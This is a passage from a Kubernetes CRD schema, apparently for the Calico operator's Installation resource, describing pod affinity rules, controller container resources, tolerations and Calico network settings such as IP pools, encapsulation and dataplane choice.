                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                          type: object
                                        podAntiAffinity:
                                          description: Describes pod anti-affinity
                                            scheduling rules (e.g. avoid putting this
                                            pod in the same node, zone, etc. as some
                                            other pod(s)).
                                          properties:
                                            preferredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                The scheduler will prefer to schedule pods to nodes that satisfy
                                                the anti-affinity expressions specified by this field, but it may choose
                                                a node that violates one or more of the expressions. The node that is
                                                most preferred is the one with the greatest sum of weights, i.e.
                                                for each node that meets all of the scheduling requirements (resource
                                                request, requiredDuringScheduling anti-affinity expressions, etc.),
                                                compute a sum by iterating through the elements of this field and adding
                                                "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                                node(s) with the highest sum are the most preferred.
                                              items:
                                                description: The weights of all of
                                                  the matched WeightedPodAffinityTerm
                                                  fields are added per-node to find
                                                  the most preferred node(s)
                                                properties:
                                                  podAffinityTerm:
                                                    description: Required. A pod affinity
                                                      term, associated with the corresponding
                                                      weight.
                                                    properties:
                                                      labelSelector:
                                                        description: |-
                                                          A label query over a set of resources, in this case pods.
                                                          If it's null, this PodAffinityTerm matches with no Pods.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      matchLabelKeys:
                                                        description: |-
                                                          MatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                          Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      mismatchLabelKeys:
                                                        description: |-
                                                          MismatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                          Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      namespaceSelector:
                                                        description: |-
                                                          A label query over the set of namespaces that the term applies to.
                                                          The term is applied to the union of the namespaces selected by this field
                                                          and the ones listed in the namespaces field.
                                                          null selector and null or empty namespaces list means "this pod's namespace".
                                                          An empty selector ({}) matches all namespaces.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      namespaces:
                                                        description: |-
                                                          namespaces specifies a static list of namespace names that the term applies to.
                                                          The term is applied to the union of the namespaces listed in this field
                                                          and the ones selected by namespaceSelector.
                                                          null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      topologyKey:
                                                        description: |-
                                                          This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                          the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                          whose value of the label with key topologyKey matches that of any node on which any of the
                                                          selected pods is running.
                                                          Empty topologyKey is not allowed.
                                                        type: string
                                                    required:
                                                    - topologyKey
                                                    type: object
                                                  weight:
                                                    description: |-
                                                      weight associated with matching the corresponding podAffinityTerm,
                                                      in the range 1-100.
                                                    format: int32
                                                    type: integer
                                                required:
                                                - podAffinityTerm
                                                - weight
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                            requiredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                If the anti-affinity requirements specified by this field are not met at
                                                scheduling time, the pod will not be scheduled onto the node.
                                                If the anti-affinity requirements specified by this field cease to be met
                                                at some point during pod execution (e.g. due to a pod label update), the
                                                system may or may not try to eventually evict the pod from its node.
                                                When there are multiple elements, the lists of nodes corresponding to each
                                                podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                              items:
                                                description: |-
                                                  Defines a set of pods (namely those matching the labelSelector
                                                  relative to the given namespace(s)) that this pod should be
                                                  co-located (affinity) or not co-located (anti-affinity) with,
                                                  where co-located is defined as running on a node whose value of
                                                  the label with key <topologyKey> matches that of any node on which
                                                  a pod of the set of pods is running
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                          type: object
                                      type: object
                                    containers:
                                      description: |-
                                        Containers is a list of calico-kube-controllers containers.
                                        If specified, this overrides the specified calico-kube-controllers Deployment containers.
                                        If omitted, the calico-kube-controllers Deployment will use its default values for its containers.
                                      items:
                                        description: CalicoKubeControllersDeploymentContainer
                                          is a calico-kube-controllers Deployment
                                          container.
                                        properties:
                                          name:
                                            description: |-
                                              Name is an enum which identifies the calico-kube-controllers Deployment container by name.
                                              Supported values are: calico-kube-controllers, es-calico-kube-controllers
                                            enum:
                                            - calico-kube-controllers
                                            - es-calico-kube-controllers
                                            type: string
                                          resources:
                                            description: |-
                                              Resources allows customization of limits and requests for compute resources such as cpu and memory.
                                              If specified, this overrides the named calico-kube-controllers Deployment container's resources.
                                              If omitted, the calico-kube-controllers Deployment will use its default value for this container's resources.
                                              If used in conjunction with the deprecated ComponentResources, then this value takes precedence.
                                            properties:
                                              claims:
                                                description: |-
                                                  Claims lists the names of resources, defined in spec.resourceClaims,
                                                  that are used by this container.
                                                  This is an alpha field and requires enabling the
                                                  DynamicResourceAllocation feature gate.
                                                  This field is immutable. It can only be set for containers.
                                                items:
                                                  description: ResourceClaim references
                                                    one entry in PodSpec.ResourceClaims.
                                                  properties:
                                                    name:
                                                      description: |-
                                                        Name must match the name of one entry in pod.spec.resourceClaims of
                                                        the Pod where this field is used. It makes that resource available
                                                        inside a container.
                                                      type: string
                                                    request:
                                                      description: |-
                                                        Request is the name chosen for a request in the referenced claim.
                                                        If empty, everything from the claim is made available, otherwise
                                                        only the result of this request.
                                                      type: string
                                                  required:
                                                  - name
                                                  type: object
                                                type: array
                                                x-kubernetes-list-map-keys:
                                                - name
                                                x-kubernetes-list-type: map
                                              limits:
                                                additionalProperties:
                                                  anyOf:
                                                  - type: integer
                                                  - type: string
                                                  pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                                  x-kubernetes-int-or-string: true
                                                description: |-
                                                  Limits describes the maximum amount of compute resources allowed.
                                                  More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                                type: object
                                              requests:
                                                additionalProperties:
                                                  anyOf:
                                                  - type: integer
                                                  - type: string
                                                  pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                                  x-kubernetes-int-or-string: true
                                                description: |-
                                                  Requests describes the minimum amount of compute resources required.
                                                  If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                                  otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                                  More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                                type: object
                                            type: object
                                        required:
                                        - name
                                        type: object
                                      type: array
                                    nodeSelector:
                                      additionalProperties:
                                        type: string
                                      description: |-
                                        NodeSelector is the calico-kube-controllers pod's scheduling constraints.
                                        If specified, each of the key/value pairs are added to the calico-kube-controllers Deployment nodeSelector provided
                                        the key does not already exist in the object's nodeSelector.
                                        If used in conjunction with ControlPlaneNodeSelector, that nodeSelector is set on the calico-kube-controllers Deployment
                                        and each of this field's key/value pairs are added to the calico-kube-controllers Deployment nodeSelector provided
                                        the key does not already exist in the object's nodeSelector.
                                        If omitted, the calico-kube-controllers Deployment will use its default value for nodeSelector.
                                        WARNING: Please note that this field will modify the default calico-kube-controllers Deployment nodeSelector.
                                      type: object
                                    tolerations:
                                      description: |-
                                        Tolerations is the calico-kube-controllers pod's tolerations.
                                        If specified, this overrides any tolerations that may be set on the calico-kube-controllers Deployment.
                                        If omitted, the calico-kube-controllers Deployment will use its default value for tolerations.
                                        WARNING: Please note that this field will override the default calico-kube-controllers Deployment tolerations.
                                      items:
                                        description: |-
                                          The pod this Toleration is attached to tolerates any taint that matches
                                          the triple <key,value,effect> using the matching operator <operator>.
                                        properties:
                                          effect:
                                            description: |-
                                              Effect indicates the taint effect to match. Empty means match all taint effects.
                                              When specified, allowed values are NoSchedule, PreferNoSchedule and NoExecute.
                                            type: string
                                          key:
                                            description: |-
                                              Key is the taint key that the toleration applies to. Empty means match all taint keys.
                                              If the key is empty, operator must be Exists; this combination means to match all values and all keys.
                                            type: string
                                          operator:
                                            description: |-
                                              Operator represents a key's relationship to the value.
                                              Valid operators are Exists and Equal. Defaults to Equal.
                                              Exists is equivalent to wildcard for value, so that a pod can
                                              tolerate all taints of a particular category.
                                            type: string
                                          tolerationSeconds:
                                            description: |-
                                              TolerationSeconds represents the period of time the toleration (which must be
                                              of effect NoExecute, otherwise this field is ignored) tolerates the taint. By default,
                                              it is not set, which means tolerate the taint forever (do not evict). Zero and
                                              negative values will be treated as 0 (evict immediately) by the system.
                                            format: int64
                                            type: integer
                                          value:
                                            description: |-
                                              Value is the taint value the toleration matches to.
                                              If the operator is Exists, the value should be empty, otherwise just a regular string.
                                            type: string
                                        type: object
                                      type: array
                                  type: object
                              type: object
                          type: object
                      type: object
                    calicoNetwork:
                      description: CalicoNetwork specifies networking configuration
                        options for Calico.
                      properties:
                        bgp:
                          description: BGP configures whether or not to enable Calico's
                            BGP capabilities.
                          enum:
                          - Enabled
                          - Disabled
                          type: string
                        containerIPForwarding:
                          description: |-
                            ContainerIPForwarding configures whether ip forwarding will be enabled for containers in the CNI configuration.
                            Default: Disabled
                          enum:
                          - Enabled
                          - Disabled
                          type: string
                        hostPorts:
                          description: |-
                            HostPorts configures whether or not Calico will support Kubernetes HostPorts. Valid only when using the Calico CNI plugin.
                            Default: Enabled
                          enum:
                          - Enabled
                          - Disabled
                          type: string
                        ipPools:
                          description: |-
                            IPPools contains a list of IP pools to manage. If nil, a single IPv4 IP pool
                            will be created by the operator. If an empty list is provided, the operator will not create any IP pools and will instead
                            wait for IP pools to be created out-of-band.
                            IP pools in this list will be reconciled by the operator and should not be modified out-of-band.
                          items:
                            properties:
                              allowedUses:
                                description: |-
                                  AllowedUse controls what the IP pool will be used for.  If not specified or empty, defaults to
                                  ["Tunnel", "Workload"] for back-compatibility
                                items:
                                  type: string
                                type: array
                              assignmentMode:
                                description: AssignmentMode determines if IP addresses
                                  from this pool should be  assigned automatically
                                  or on request only
                                type: string
                              blockSize:
                                description: |-
                                  BlockSize specifies the CIDR prefex length to use when allocating per-node IP blocks from
                                  the main IP pool CIDR.
                                  Default: 26 (IPv4), 122 (IPv6)
                                format: int32
                                type: integer
                              cidr:
                                description: CIDR contains the address range for the
                                  IP Pool in classless inter-domain routing format.
                                type: string
                              disableBGPExport:
                                default: false
                                description: |-
                                  DisableBGPExport specifies whether routes from this IP pool's CIDR are exported over BGP.
                                  Default: false
                                type: boolean
                              disableNewAllocations:
                                description: |-
                                  DisableNewAllocations specifies whether or not new IP allocations are allowed from this pool.
                                  This is useful when you want to prevent new pods from receiving IP addresses from this pool, without
                                  impacting any existing pods that have already been assigned addresses from this pool.
                                type: boolean
                              encapsulation:
                                description: |-
                                  Encapsulation specifies the encapsulation type that will be used with
                                  the IP Pool.
                                  Default: IPIP
                                enum:
                                - IPIPCrossSubnet
                                - IPIP
                                - VXLAN
                                - VXLANCrossSubnet
                                - None
                                type: string
                              name:
                                description: Name is the name of the IP pool. If omitted,
                                  this will be generated.
                                type: string
                              natOutgoing:
                                description: |-
                                  NATOutgoing specifies if NAT will be enabled or disabled for outgoing traffic.
                                  Default: Enabled
                                enum:
                                - Enabled
                                - Disabled
                                type: string
                              nodeSelector:
                                description: |-
                                  NodeSelector specifies the node selector that will be set for the IP Pool.
                                  Default: 'all()'
                                type: string
                            required:
                            - cidr
                            type: object
                          maxItems: 25
                          type: array
                        linuxDataplane:
                          description: |-
                            LinuxDataplane is used to select the dataplane used for Linux nodes. In particular, it
                            causes the operator to add required mounts and environment variables for the particular dataplane.
                            If not specified, iptables mode is used.
                            Default: Iptables
                          enum:
                          - Iptables
                          - BPF
                          - VPP
                          - Nftables
                          type: string
                        linuxPolicySetupTimeoutSeconds:
                          description: |-
                            LinuxPolicySetupTimeoutSeconds delays new pods from running containers
                            until their policy has been programmed in the dataplane.
                            The specified delay defines the maximum amount of time
                            that the Calico CNI plugin will wait for policy to be programmed.
                            Only applies to pods created on Linux nodes.
                            * A value of 0 disables pod startup delays.
                            Default: 0
                          format: int32
                          type: integer
                        mtu:
                          description: |-
                            MTU specifies the maximum transmission unit to use on the pod network.
                            If not specified, Calico will perform MTU auto-detection based on the cluster network.
                          format: int32
                          type: integer
                        multiInterfaceMode:
                          description: |-
                            MultiInterfaceMode configures what will configure multiple interface per pod. Only valid for Calico Enterprise installations
                            using the Calico CNI plugin.
                            Default: None
                          enum:
                          - None
                          - Multus
                          type: string
                        nodeAddressAutodetectionV4:
                          description: |-
                            NodeAddressAutodetectionV4 specifies an approach to automatically detect node IPv4 addresses. If not specified,
                            will use default auto-detection settings to acquire an IPv4 address for each node.
                          properties:
                            canReach:
                              description: |-
                                CanReach enables IP auto-detection based on which source address on the node is used to reach the
                                specified IP or domain.
                              type: string
                            cidrs:
                              description: |-
                                CIDRS enables IP auto-detection based on which addresses on the nodes are within
                                one of the provided CIDRs.
                              items:
                                type: string
                              type: array
                            firstFound:
                              description: |-
                                FirstFound uses default interface matching parameters to select an interface, performing best-effort
                                filtering based on well-known interface names.
                              type: boolean
                            interface:
                              description: Interface enables IP auto-detection based
                                on interfaces that match the given regex.
                              type: string
                            kubernetes:
                              description: Kubernetes configures Calico to detect
                                node addresses based on the Kubernetes API.
                              enum:
                              - NodeInternalIP
                              type: string
                            skipInterface:
                              description: |-
                                SkipInterface enables IP auto-detection based on interfaces that do not match
                                the given regex.
                              type: string
                          type: object
                        nodeAddressAutodetectionV6:
                          description: |-
                            NodeAddressAutodetectionV6 specifies an approach to automatically detect node IPv6 addresses. If not specified,
                            IPv6 addresses will not be auto-detected.
                          properties:
                            canReach:
                              description: |-
                                CanReach enables IP auto-detection based on which source address on the node is used to reach the
                                specified IP or domain.
                              type: string
                            cidrs:
                              description: |-
                                CIDRS enables IP auto-detection based on which addresses on the nodes are within
                                one of the provided CIDRs.
                              items:
                                type: string
                              type: array
                            firstFound:
                              description: |-
                                FirstFound uses default interface matching parameters to select an interface, performing best-effort
                                filtering based on well-known interface names.
                              type: boolean
                            interface:
                              description: Interface enables IP auto-detection based
                                on interfaces that match the given regex.
                              type: string
                            kubernetes:
                              description: Kubernetes configures Calico to detect
                                node addresses based on the Kubernetes API.
                              enum:
                              - NodeInternalIP
                              type: string
                            skipInterface:
                              description: |-
                                SkipInterface enables IP auto-detection based on interfaces that do not match
                                the given regex.
                              type: string
                          type: object
                        sysctl:
                          description: Sysctl configures sysctl parameters for tuning
                            plugin
                          items:
                            properties:
                              key:
                                enum:
                                - net.ipv4.tcp_keepalive_intvl
                                - net.ipv4.tcp_keepalive_probes
                                - net.ipv4.tcp_keepalive_time
                                type: string
                              value:
                                type: string
                            required:
                            - key
                            - value
                            type: object
                          type: array
                        windowsDataplane:
                          description: |-
                            WindowsDataplane is used to select the dataplane used for Windows nodes. In particular, it
                            causes the operator to add required mounts and environment variables for the particular dataplane.
                            If not specified, it is disabled and the operator will not render the Calico Windows nodes daemonset.
                            Default: Disabled
                          enum:
                          - HNS
                          - Disabled
                          type: string
                      type: object
                    calicoNodeDaemonSet:
                      description: |-
                        CalicoNodeDaemonSet configures the calico-node DaemonSet. If used in
                        conjunction with the deprecated ComponentResources, then these overrides take precedence.
                      properties:
                        metadata:
                          description: Metadata is a subset of a Kubernetes object's
                            metadata that is added to the DaemonSet.
                          properties:
                            annotations:
                              additionalProperties:
                                type: string
                              description: |-
                                Annotations is a map of arbitrary non-identifying metadata. Each of these
                                key/value pairs are added to the object's annotations provided the key does not
                                already exist in the object's annotations.
                              type: object
                            labels:
                              additionalProperties:
                                type: string
                              description: |-
                                Labels is a map of string keys and values that may match replicaset and
                                service selectors. Each of these key/value pairs are added to the
                                object's labels provided the key does not already exist in the object's labels.
                              type: object
                          type: object
                        spec:
                          description: Spec is the specification of the calico-node
                            DaemonSet.
                          properties:
                            minReadySeconds:
                              description: |-
                                MinReadySeconds is the minimum number of seconds for which a newly created DaemonSet pod should
                                be ready without any of its container crashing, for it to be considered available.
                                If specified, this overrides any minReadySeconds value that may be set on the calico-node DaemonSet.
                                If omitted, the calico-node DaemonSet will use its default value for minReadySeconds.
                              format: int32
                              maximum: 2147483647
                              minimum: 0
                              type: integer
                            template:
                              description: Template describes the calico-node DaemonSet
                                pod that will be created.
                              properties:
                                metadata:
                                  description: |-
                                    Metadata is a subset of a Kubernetes object's metadata that is added to
                                    the pod's metadata.
                                  properties:
                                    annotations:
                                      additionalProperties:
                                        type: string
                                      description: |-
                                        Annotations is a map of arbitrary non-identifying metadata. Each of these
                                        key/value pairs are added to the object's annotations provided the key does not
                                        already exist in the object's annotations.
                                      type: object
                                    labels:
                                      additionalProperties:
                                        type: string
                                      description: |-
                                        Labels is a map of string keys and values that may match replicaset and
                                        service selectors. Each of these key/value pairs are added to the
                                        object's labels provided the key does not already exist in the object's labels.
                                      type: object
                                  type: object
                                spec:
                                  description: Spec is the calico-node DaemonSet's
                                    PodSpec.
                                  properties:
                                    affinity:
                                      description: |-
                                        Affinity is a group of affinity scheduling rules for the calico-node pods.
                                        If specified, this overrides any affinity that may be set on the calico-node DaemonSet.
                                        If omitted, the calico-node DaemonSet will use its default value for affinity.
                                        WARNING: Please note that this field will override the default calico-node DaemonSet affinity.
                                      properties:
                                        nodeAffinity:
                                          description: Describes node affinity scheduling
                                            rules for the pod.
                                          properties:
                                            preferredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                The scheduler will prefer to schedule pods to nodes that satisfy
                                                the affinity expressions specified by this field, but it may choose
                                                a node that violates one or more of the expressions. The node that is
                                                most preferred is the one with the greatest sum of weights, i.e.
                                                for each node that meets all of the scheduling requirements (resource
                                                request, requiredDuringScheduling affinity expressions, etc.),
                                                compute a sum by iterating through the elements of this field and adding
                                                "weight" to the sum if the node matches the corresponding matchExpressions; the
                                                node(s) with the highest sum are the most preferred.
                                              items:
                                                description: |-
                                                  An empty preferred scheduling term matches all objects with implicit weight 0
                                                  (i.e. it's a no-op). A null preferred scheduling term matches no objects (i.e. is also a no-op).
                                                properties:
                                                  preference:
                                                    description: A node selector term,
                                                      associated with the corresponding
                                                      weight.
                                                    properties:
                                                      matchExpressions:
                                                        description: A list of node
